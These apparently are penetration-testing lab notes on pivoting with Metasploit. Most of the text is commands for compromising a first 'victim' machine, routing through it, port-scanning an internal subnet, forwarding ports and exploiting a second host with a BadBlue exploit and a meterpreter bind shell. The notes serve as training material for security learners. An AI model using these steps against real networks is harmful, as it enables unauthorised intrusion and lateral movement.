09. Pivoting
Get meterpreter on Victim PC and locate internal network (ifconfig/ipconfig)
-
msf>
route add 169.254.0.0 255.255.0.0 1 -
msf>
use auxiliary/scanner/portscan/tcp -
msf>
set RHOSTS 169.254.0.0/24set RPORT 1-500 -
msf>
sessions 1portfwd add -l 1337 -p 80 -r 169.254.0.54 (VICTIM 2 or 3 PC)
-
nmap -p 1337 localhost
Pivoting Lesson (Metasploit)
Nmap Scan Victim 1
Nmap -sV -p80 10.0.29.148
Find vulnerable service and exploit it to get a shell.
Type IPCONFIG from Victim 1 to identify possible networks.
Add route to access Victim 2 from Victim 1
run autoroute -s 10.0.29.0/20
run autoroute -p
Scan Open Ports
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.29.96 (Victim 2)
set PORTS 1-100
exploit
Forward Port
sessions 1
portfwd add -l 1234 -p 80 -r 10.0.29.96
-l 1234 = our port
-p 80 = target port
-r = victim 2 IP
NOTE: this routes all traffic from victim 2 to us to conduct an Nmap scan.
Nmap Scan Victim 2
Nmap -sV -p 1234 localhost
Exploit Victim 2 (needs to be BIND TCP payload)
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
set RHOSTS 10.0.29.96
exploit